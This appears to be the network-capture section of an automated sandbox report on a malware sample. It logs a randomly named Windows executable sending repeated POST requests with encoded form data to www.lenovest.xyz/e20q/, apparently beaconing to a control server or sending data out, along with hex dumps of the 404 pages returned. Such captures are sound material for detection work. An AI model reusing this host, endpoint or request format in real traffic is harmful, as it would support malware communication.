                                Data Ascii: linear 0s}.ladi-section .ladi-section-background{position:absolute;content:'';display:block;top:0;left:0;height:100%;width:100%;pointer-events:none}.ladi-container{position:relative;margin:0 auto;height:100%}.ladi-element{position:absolute}.la
                                Jun 5, 2024 18:28:08.342984915 CEST1236INData Raw: 30 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 74 72 61 6e 73 66 6f 72 6d 20 33 35 30 6d 73 20 65 61 73 65 2d 69 6e 2d 6f 75 74 3b 2d 77 65 62 6b 69 74 2d 62
                                Data Ascii: 0%;position:relative;display:none;transition:transform 350ms ease-in-out;-webkit-backface-visibility:hidden;backface-visibility:hidden;-webkit-perspective:1000px;perspective:1000px}.ladi-gallery .ladi-gallery-view>.ladi-gallery-view-item.next,


                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                17192.168.2.749727162.0.213.94804300C:\Program Files (x86)\jdRyKWmwNGLqUAxzbgMyHhSVQEBNjCyVpYAOhUIcfzFG\hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe
                                TimestampBytes transferredDirectionData
                                Jun 5, 2024 18:28:21.911345005 CEST702OUTPOST /e20q/ HTTP/1.1
                                Host: www.lenovest.xyz
                                Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                Accept-Encoding: gzip, deflate, br
                                Accept-Language: en-US,en;q=0.9
                                Connection: close
                                Content-Type: application/x-www-form-urlencoded
                                Cache-Control: no-cache
                                Content-Length: 215
                                Origin: http://www.lenovest.xyz
                                Referer: http://www.lenovest.xyz/e20q/
                                User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko
                                Data Raw: 39 64 3d 62 4e 44 43 75 67 58 31 6e 58 47 4c 53 5a 75 75 4c 47 69 49 65 68 67 2f 39 57 73 30 7a 56 33 46 2f 4f 6b 49 62 7a 51 68 54 6d 34 42 61 38 6b 4f 63 72 72 61 56 42 6d 72 30 6e 47 70 49 5a 4f 38 4d 66 48 54 5a 55 6a 32 33 59 31 33 65 76 4a 72 64 71 57 54 61 34 72 64 56 6d 70 49 4e 64 61 46 57 4c 69 76 52 46 4b 49 44 77 37 4d 6c 49 57 43 51 6a 6b 66 34 43 53 5a 61 6d 63 62 65 61 70 52 6c 39 30 4a 6a 42 36 59 52 67 68 64 35 4e 6d 75 77 38 64 42 36 43 75 46 48 38 48 43 53 68 58 37 50 34 6d 46 48 69 44 71 70 42 48 42 35 46 66 2f 7a 39 79 57 56 6c 77 30 61 48 32 75 50 31 6f 57 68 31 47 6a 51 74 6b 66 59 69 4c 30 71 31 33 4d 66 51 3d 3d
                                Data Ascii: 9d=bNDCugX1nXGLSZuuLGiIehg/9Ws0zV3F/OkIbzQhTm4Ba8kOcrraVBmr0nGpIZO8MfHTZUj23Y13evJrdqWTa4rdVmpINdaFWLivRFKIDw7MlIWCQjkf4CSZamcbeapRl90JjB6YRghd5Nmuw8dB6CuFH8HCShX7P4mFHiDqpBHB5Ff/z9yWVlw0aH2uP1oWh1GjQtkfYiL0q13MfQ==
                                Jun 5, 2024 18:28:22.609879017 CEST1236INHTTP/1.1 404 Not Found
                                Date: Wed, 05 Jun 2024 16:28:22 GMT
                                Server: Apache
                                Content-Length: 16052
                                Connection: close
                                Content-Type: text/html
                                Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 32 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 6d 61 69 6e 3e 0a 20 3c 73 76 67 0a 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 35 34 31 2e 31 37 32 30 36 20 33 32 38 [TRUNCATED]
                                Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel="stylesheet" href="/42.css"></head><body>... partial:index.partial.html --><main> <svg viewBox="0 0 541.17206 328.45184" height="328.45184" width="541.17206" id="svg2" version="1.1"> <metadata id="metadata8"> </metadata> <defs id="defs6"> <pattern patternUnits="userSpaceOnUse" width="1.5" height="1" patternTransform="translate(0,0) scale(10,10)" id="Strips2_1"> <rect style="fill:black;stroke:none" x="0" y="-0.5" width="1" height="2" id="rect5419" /> </pattern> <linearGradient osb:paint="solid" id="linearGradient6096"> <stop id="stop6094" offset="0" [TRUNCATED]
                                Jun 5, 2024 18:28:22.609950066 CEST1236INData Raw: 3e 0a 20 20 20 20 3c 2f 64 65 66 73 3e 0a 20 20 20 20 3c 67 0a 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 31 37 30 2e 31 34 35 31 35 2c 30 2e 30 33 38 31 36 34 29 22 0a 20 20 20 20 20 20 20 69 64 3d 22 6c
                                Data Ascii: > </defs> <g transform="translate(170.14515,0.038164)" id="layer1"> <g id="g6219" > <path transform="matrix(1.0150687,0,0,11.193923,-1.3895945,-2685.7441)" style="disp
                                Jun 5, 2024 18:28:22.609998941 CEST1236INData Raw: 38 2e 38 35 38 37 31 35 20 2d 30 2e 36 30 32 31 37 35 2c 2d 33 31 2e 34 36 39 32 32 38 20 2d 30 2e 30 31 32 35 33 2c 2d 32 32 2e 37 35 39 35 36 35 20 30 2e 37 31 37 32 36 32 2c 2d 34 31 2e 32 33 31 34 35 32 31 33 20 31 2e 36 32 38 39 39 35 2c 2d
                                Data Ascii: 8.858715 -0.602175,-31.469228 -0.01253,-22.759565 0.717262,-41.23145213 1.628995,-41.23195399 z" style="display:inline;fill:#000000;stroke:none;stroke-width:0.23743393px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;"
                                Jun 5, 2024 18:28:22.610032082 CEST1236INData Raw: 30 2e 37 36 32 37 32 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 72 65 63 74 34 35 35 33 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 6f 70 61 63 69 74 79 3a 31 3b 66
                                Data Ascii: 0.76272" id="rect4553" style="display:inline;opacity:1;fill:#000000;fill-opacity:1;fill-rule:nonzero;stroke:#000000;stroke-width:1.00157475;stroke-miterlimit:4;stroke-dasharray:none;stroke-opacity:1;" /> <pa
                                Jun 5, 2024 18:28:22.610064983 CEST1236INData Raw: 32 2c 31 35 2e 35 30 30 36 34 20 30 2e 39 31 36 37 39 38 2c 36 2e 38 33 34 33 34 20 32 2e 32 34 39 38 35 34 2c 31 36 2e 33 33 32 33 37 20 33 2e 34 39 39 39 30 32 2c 32 34 2e 39 31 36 30 34 20 31 2e 32 35 30 30 34 37 2c 38 2e 35 38 33 36 38 20 32
                                Data Ascii: 2,15.50064 0.916798,6.83434 2.249854,16.33237 3.499902,24.91604 1.250047,8.58368 2.416611,16.24967 4.583438,28.58394 2.166827,12.33427 5.333153,29.33244 8.499966,46.33323" style="display:inline;fill:none;stroke:#000000;stroke-widt
                                Jun 5, 2024 18:28:22.610097885 CEST1236INData Raw: 35 31 2c 31 2e 35 32 31 36 35 20 30 2e 32 32 32 39 39 2c 31 2e 30 36 35 37 39 20 30 2e 31 34 39 33 33 2c 30 2e 36 30 39 31 32 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 66 69 6c
                                Data Ascii: 51,1.52165 0.22299,1.06579 0.14933,0.60912" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <path id="path4533" d=
                                Jun 5, 2024 18:28:22.610148907 CEST1236INData Raw: 6b 65 2d 6c 69 6e 65 63 61 70 3a 62 75 74 74 3b 73 74 72 6f 6b 65 2d 6c 69 6e 65 6a 6f 69 6e 3a 6d 69 74 65 72 3b 73 74 72 6f 6b 65 2d 6f 70 61 63 69 74 79 3a 31 3b 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20
                                Data Ascii: ke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <path id="path4541" d="m 85.206367,122.98266 c 0.117841,11.74369 0.235693,23.48835 0.235693,36.55072 -10e-7,13.06238 -0.117833,27.43796 -0.05891,45
                                Jun 5, 2024 18:28:22.610181093 CEST1236INData Raw: 2c 32 36 2e 37 30 30 33 33 20 2d 32 2e 32 39 38 33 39 34 2c 36 2e 39 35 33 36 32 20 2d 32 2e 32 39 38 33 39 34 2c 31 31 2e 35 34 39 32 32 20 2d 31 2e 33 35 35 34 31 39 2c 32 34 2e 35 37 34 31 35 20 30 2e 39 34 32 39 37 34 2c 31 33 2e 30 32 34 39
                                Data Ascii: ,26.70033 -2.298394,6.95362 -2.298394,11.54922 -1.355419,24.57415 0.942974,13.02493 2.828182,34.46917 5.066095,53.84746 2.237913,19.37829 4.833109,36.71892 7.425959,54.04387" style="display:inline;fill:none;stroke:#000000;stroke-w
                                Jun 5, 2024 18:28:22.610213995 CEST1236INData Raw: 31 3b 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 70 61 74 68 34 35 32 39 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 6d 20 31 33 32 2e 36 38 37 35 2c 32 36 33 2e 33
                                Data Ascii: 1;" /> <path id="path4529" d="m 132.6875,263.34998 c -4.2289,18.4155 -8.45806,36.83216 -12.6875,55.25" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-
                                Jun 5, 2024 18:28:22.610249996 CEST460INData Raw: 6c 6c 2d 6f 70 61 63 69 74 79 3a 31 3b 66 69 6c 6c 2d 72 75 6c 65 3a 6e 6f 6e 7a 65 72 6f 3b 73 74 72 6f 6b 65 3a 23 30 30 30 30 30 30 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 31 2e 30 30 31 35 37 34 37 35 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72
                                Data Ascii: ll-opacity:1;fill-rule:nonzero;stroke:#000000;stroke-width:1.00157475;stroke-miterlimit:4;stroke-dasharray:none;stroke-opacity:1;" /> <path transform="translate(-170.14515,-0.038164)" id="path4567"
                                Jun 5, 2024 18:28:22.615250111 CEST1236INData Raw: 32 2c 30 2e 31 33 30 31 20 7a 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 6f 70 61 63 69 74 79 3a 31 3b 66 69 6c 6c 3a 23 30 30 30 30 30 30 3b 66 69 6c 6c 2d 6f 70 61 63 69 74 79 3a 31 3b 66 69 6c 6c 2d 72 75 6c 65 3a 6e 6f
                                Data Ascii: 2,0.1301 z" style="opacity:1;fill:#000000;fill-opacity:1;fill-rule:nonzero;stroke:#000000;stroke-width:1.00157475;stroke-miterlimit:4;stroke-dasharray:none;stroke-opacity:1;" /> <path transform="translate(-1


                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                18192.168.2.749728162.0.213.94804300C:\Program Files (x86)\jdRyKWmwNGLqUAxzbgMyHhSVQEBNjCyVpYAOhUIcfzFG\hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe
                                TimestampBytes transferredDirectionData
                                Jun 5, 2024 18:28:24.440782070 CEST722OUTPOST /e20q/ HTTP/1.1
                                Host: www.lenovest.xyz
                                Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                Accept-Encoding: gzip, deflate, br
                                Accept-Language: en-US,en;q=0.9
                                Connection: close
                                Content-Type: application/x-www-form-urlencoded
                                Cache-Control: no-cache
                                Content-Length: 235
                                Origin: http://www.lenovest.xyz
                                Referer: http://www.lenovest.xyz/e20q/
                                User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko
                                Data Raw: 39 64 3d 62 4e 44 43 75 67 58 31 6e 58 47 4c 44 4b 32 75 4d 6c 61 49 5a 42 67 38 34 57 73 30 36 31 33 42 2f 4f 34 49 62 32 39 38 53 51 41 42 62 65 38 4f 4e 66 33 61 59 68 6d 72 37 48 47 73 48 35 4f 4a 4d 65 37 68 5a 56 50 32 33 59 68 33 65 72 4e 72 63 5a 76 46 49 34 72 6c 61 47 70 4b 53 4e 61 46 57 4c 69 76 52 42 69 79 44 77 6a 4d 69 34 6d 43 51 41 38 51 37 43 53 47 64 6d 63 62 61 61 70 4e 6c 39 30 33 6a 41 6d 69 52 69 70 64 35 4a 75 75 77 74 63 58 30 43 75 48 44 38 47 33 65 42 44 32 43 6f 33 6e 66 44 6a 46 76 47 54 53 34 7a 43 64 70 66 2b 36 4c 30 49 50 65 46 53 59 59 54 31 6a 6a 30 43 37 64 50 51 2b 48 56 75 65 6e 6e 57 49 4a 76 56 56 6d 6c 76 37 42 6b 76 6f 45 5a 64 30 79 4c 66 49 4f 6f 67 3d
                                Data Ascii: 9d=bNDCugX1nXGLDK2uMlaIZBg84Ws0613B/O4Ib298SQABbe8ONf3aYhmr7HGsH5OJMe7hZVP23Yh3erNrcZvFI4rlaGpKSNaFWLivRBiyDwjMi4mCQA8Q7CSGdmcbaapNl903jAmiRipd5JuuwtcX0CuHD8G3eBD2Co3nfDjFvGTS4zCdpf+6L0IPeFSYYT1jj0C7dPQ+HVuennWIJvVVmlv7BkvoEZd0yLfIOog=
                                Jun 5, 2024 18:28:25.542156935 CEST1236INHTTP/1.1 404 Not Found
                                Date: Wed, 05 Jun 2024 16:28:25 GMT
                                Server: Apache
                                Content-Length: 16052
                                Connection: close
                                Content-Type: text/html
                                Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 32 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 6d 61 69 6e 3e 0a 20 3c 73 76 67 0a 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 35 34 31 2e 31 37 32 30 36 20 33 32 38 [TRUNCATED]
                                Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel="stylesheet" href="/42.css"></head><body>... partial:index.partial.html --><main> <svg viewBox="0 0 541.17206 328.45184" height="328.45184" width="541.17206" id="svg2" version="1.1"> <metadata id="metadata8"> </metadata> <defs id="defs6"> <pattern patternUnits="userSpaceOnUse" width="1.5" height="1" patternTransform="translate(0,0) scale(10,10)" id="Strips2_1"> <rect style="fill:black;stroke:none" x="0" y="-0.5" width="1" height="2" id="rect5419" /> </pattern> <linearGradient osb:paint="solid" id="linearGradient6096"> <stop id="stop6094" offset="0" [TRUNCATED]
                                Jun 5, 2024 18:28:25.542232037 CEST212INData Raw: 3e 0a 20 20 20 20 3c 2f 64 65 66 73 3e 0a 20 20 20 20 3c 67 0a 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 31 37 30 2e 31 34 35 31 35 2c 30 2e 30 33 38 31 36 34 29 22 0a 20 20 20 20 20 20 20 69 64 3d 22 6c
                                Data Ascii: > </defs> <g transform="translate(170.14515,0.038164)" id="layer1"> <g id="g6219" > <path transform="matrix(1.0150687,0,0,11.193923,-1.3895945,-268
                                Jun 5, 2024 18:28:25.542237043 CEST1236INData Raw: 35 2e 37 34 34 31 29 22 0a 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 66 69 6c 6c 3a 23 30 30 30 30 30 30 3b 66 69 6c 6c 2d 6f 70 61 63 69 74 79 3a 31 3b 73 74 72 6f 6b 65 3a 23 30 30 30 30
                                Data Ascii: 5.7441)" style="display:inline;fill:#000000;fill-opacity:1;stroke:#000000;stroke-width:0.1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" d="m 145.0586,263.51309 c -90.20375,-0.0994 -119.20375,-0.0994 -119
                                Jun 5, 2024 18:28:25.542325974 CEST1236INData Raw: 6e 65 6a 6f 69 6e 3a 6d 69 74 65 72 3b 73 74 72 6f 6b 65 2d 6f 70 61 63 69 74 79 3a 31 3b 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 70 61 74 68 34 34 39 36 22 0a 20 20 20 20
                                Data Ascii: nejoin:miter;stroke-opacity:1;" /> <path id="path4496" d="m 85.115421,100.5729 c -0.0036,3.37532 -0.0071,6.75165 -0.0107,10.12897 m 0.512159,0.18258 c -1.914603,-0.23621 -3.505591,1.17801 -4.861444,2.68113 -
                                Jun 5, 2024 18:28:25.542331934 CEST1236INData Raw: 6b 65 2d 6f 70 61 63 69 74 79 3a 31 3b 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 70 61 74 68 34 35 31 33 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 6d 20 37 34 2e
                                Data Ascii: ke-opacity:1;" /> <path id="path4513" d="m 74.6875,125.03748 c -8.394789,7.68654 -16.790624,15.37405 -23.988969,22.38484 -7.198345,7.0108 -13.197555,13.3433 -18.781379,20.01048 -5.583823,6.66719 -10.749655,1
                                Jun 5, 2024 18:28:25.542342901 CEST636INData Raw: 6e 6f 6e 65 3b 73 74 72 6f 6b 65 3a 23 30 30 30 30 30 30 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 31 70 78 3b 73 74 72 6f 6b 65 2d 6c 69 6e 65 63 61 70 3a 62 75 74 74 3b 73 74 72 6f 6b 65 2d 6c 69 6e 65 6a 6f 69 6e 3a 6d 69 74 65 72 3b 73 74 72
                                Data Ascii: none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <path id="path4521" d="m 96.8125,126.22498 c 6.89586,6.45836 13.7917,12.9167 19.98957,19.14581 6.19786,6.2
                                Jun 5, 2024 18:28:25.542386055 CEST1236INData Raw: 70 3a 62 75 74 74 3b 73 74 72 6f 6b 65 2d 6c 69 6e 65 6a 6f 69 6e 3a 6d 69 74 65 72 3b 73 74 72 6f 6b 65 2d 6f 70 61 63 69 74 79 3a 31 3b 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 69 64
                                Data Ascii: p:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <path id="path4525" d="m 91.9375,124.09998 c 5.854072,7.16655 11.70824,14.33322 16.21863,20.16651 4.51039,5.83328 7.67706,10.33329 11.92718,16.33346 4.25012
                                Jun 5, 2024 18:28:25.542392015 CEST1236INData Raw: 30 35 2c 35 2e 38 30 34 31 36 20 31 2e 34 35 38 35 30 35 2c 36 2e 39 38 32 35 37 20 32 2e 34 30 32 30 32 31 2c 31 31 2e 31 31 30 35 32 20 30 2e 39 34 33 35 31 37 2c 34 2e 31 32 37 39 35 20 32 2e 38 32 37 35 33 35 2c 31 31 2e 31 39 33 30 32 20 34
                                Data Ascii: 05,5.80416 1.458505,6.98257 2.402021,11.11052 0.943517,4.12795 2.827535,11.19302 4.065005,16.02501 1.23748,4.832 1.82668,7.42447 2.12139,10.84263 0.29471,3.41815 0.29471,7.65958 -0.11785,20.44893 -0.41255,12.78934 -1.23731,34.11536 -2.18014,53
                                Jun 5, 2024 18:28:25.542406082 CEST424INData Raw: 33 39 20 31 2e 31 31 39 39 33 32 2c 31 39 2e 38 30 33 37 39 20 32 2e 34 31 35 35 37 34 2c 33 37 2e 30 30 30 34 39 20 33 2e 37 31 32 30 30 35 2c 35 34 2e 32 30 37 36 37 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70
                                Data Ascii: 39 1.119932,19.80379 2.415574,37.00049 3.712005,54.20767" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <path id="path4549"
                                Jun 5, 2024 18:28:25.542449951 CEST1236INData Raw: 34 2c 31 31 2e 35 34 39 32 32 20 2d 31 2e 33 35 35 34 31 39 2c 32 34 2e 35 37 34 31 35 20 30 2e 39 34 32 39 37 34 2c 31 33 2e 30 32 34 39 33 20 32 2e 38 32 38 31 38 32 2c 33 34 2e 34 36 39 31 37 20 35 2e 30 36 36 30 39 35 2c 35 33 2e 38 34 37 34
                                Data Ascii: 4,11.54922 -1.355419,24.57415 0.942974,13.02493 2.828182,34.46917 5.066095,53.84746 2.237913,19.37829 4.833109,36.71892 7.425959,54.04387" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-
                                Jun 5, 2024 18:28:25.547322035 CEST1236INData Raw: 69 64 3d 22 70 61 74 68 34 35 32 39 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 6d 20 31 33 32 2e 36 38 37 35 2c 32 36 33 2e 33 34 39 39 38 20 63 20 2d 34 2e 32 32 38 39 2c 31 38 2e 34 31 35 35 20 2d 38 2e 34 35 38 30 36 2c 33 36 2e 38
                                Data Ascii: id="path4529" d="m 132.6875,263.34998 c -4.2289,18.4155 -8.45806,36.83216 -12.6875,55.25" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" />


                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                19192.168.2.749729162.0.213.94804300C:\Program Files (x86)\jdRyKWmwNGLqUAxzbgMyHhSVQEBNjCyVpYAOhUIcfzFG\hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe
                                TimestampBytes transferredDirectionData
                                Jun 5, 2024 18:28:26.978364944 CEST1735OUTPOST /e20q/ HTTP/1.1
                                Host: www.lenovest.xyz
                                Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                Accept-Encoding: gzip, deflate, br
                                Accept-Language: en-US,en;q=0.9
                                Connection: close
                                Content-Type: application/x-www-form-urlencoded
                                Cache-Control: no-cache
                                Content-Length: 1247
                                Origin: http://www.lenovest.xyz
                                Referer: http://www.lenovest.xyz/e20q/
                                User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko
                                Data Raw: 39 64 3d 62 4e 44 43 75 67 58 31 6e 58 47 4c 44 4b 32 75 4d 6c 61 49 5a 42 67 38 34 57 73 30 36 31 33 42 2f 4f 34 49 62 32 39 38 53 51 49 42 62 72 67 4f 63 49 44 61 5a 68 6d 72 79 6e 47 74 48 35 4f 75 4d 65 6a 66 5a 56 53 44 33 61 5a 33 65 4f 5a 72 4a 59 76 46 43 34 72 6c 52 6d 70 48 4e 64 61 71 57 4c 79 72 52 46 4f 79 44 77 6a 4d 69 2b 43 43 5a 7a 6b 51 39 43 53 5a 61 6d 63 74 65 61 70 70 6c 39 73 6e 6a 41 6a 41 45 43 4a 64 35 6f 53 75 78 62 41 58 38 43 75 42 4e 63 47 76 65 42 65 32 43 6f 36 4c 66 44 48 76 76 42 2f 53 31 79 6e 61 2b 38 47 67 49 69 4d 72 64 6e 43 50 50 31 64 58 37 45 2b 2b 59 4d 77 68 47 6c 61 69 70 48 65 39 45 35 34 6b 79 56 47 4d 48 48 62 54 4b 66 4a 6b 75 72 7a 70 51 4d 43 56 6b 79 6f 62 74 70 5a 56 64 48 67 6e 5a 56 44 44 59 52 31 34 31 45 64 4a 45 62 44 46 6f 35 33 71 64 30 32 47 47 43 38 37 69 45 41 49 38 2f 49 4a 51 6a 49 35 55 6d 37 58 41 4d 73 6f 55 64 59 73 37 67 37 6a 68 6f 2f 39 6c 73 44 6b 33 34 68 58 67 46 4a 52 54 49 30 6e 48 77 6e 6a 55 72 62 4a 38 7a 39 30 64 4c 50 [TRUNCATED]
                                Data Ascii: 9d=bNDCugX1nXGLDK2uMlaIZBg84Ws0613B/O4Ib298SQIBbrgOcIDaZhmrynGtH5OuMejfZVSD3aZ3eOZrJYvFC4rlRmpHNdaqWLyrRFOyDwjMi+CCZzkQ9CSZamcteappl9snjAjAECJd5oSuxbAX8CuBNcGveBe2Co6LfDHvvB/S1yna+8GgIiMrdnCPP1dX7E++YMwhGlaipHe9E54kyVGMHHbTKfJkurzpQMCVkyobtpZVdHgnZVDDYR141EdJEbDFo53qd02GGC87iEAI8/IJQjI5Um7XAMsoUdYs7g7jho/9lsDk34hXgFJRTI0nHwnjUrbJ8z90dLPcqbH8SidYFejjNKDqUsb+HIqbG7ch3wY5+7gQsTTFj17FleujLCpgzjDjrBMfAVWOuoP032H7Nqo8Zw4mEVU0DooIX6zLFCy5AMCyirP5e35nQoeknTyufamabPSiwS0gayCK6JSJn2qIG9YZ3u8CFD5ByC2xa7Bsz1ZZEufn/Sn9gL4oIHyPwdl8NF+1P+6toNig4Sc3iVAqH93z4z1Ej01oqmvNBAWBmdDjRE5QbFnR/cVUjNgEV+eneRWQ7L/SV2ym7Dmt9s3H2N9JNdv0wzFtqjQO5QrOSGozFBBli0A7PVziIwMTu/gQsgwe6tdL0MaW0PcP6W6Oq7Kq0zlCrUxkxCW2ZdTKSuPAdsSYGbuIM+t+qg2CZxtR3hJHURIHsFRixpacKJzlPvjry69pr1/wTKWQ4P/VjsTb4GuqmjxjNceksFiztHTtoIFLIQ3gd/ZXYGxkuaIC0QFHdXdJIrqQSmk7BMDMzQdMqSWr4djjIkbmnaFEDpzo28PTl3aR28OsIuncch9wwhyIVxF+ddIaEivXlGohe2jyMVuC8XEocVpYyFvD0QsToIAAepYRLS1DklD+2BXCEsSRUSJAxBVvxFmtykjacJl97GCvQyVpcxZLr4UCo0CPQTxAkUVXO5JGDeV3w8HXmuZqggIr8ACjh94ZIZwAQ [TRUNCATED]
                                Jun 5, 2024 18:28:27.782365084 CEST1236INHTTP/1.1 404 Not Found
                                Date: Wed, 05 Jun 2024 16:28:27 GMT
                                Server: Apache
                                Content-Length: 16052
                                Connection: close
                                Content-Type: text/html
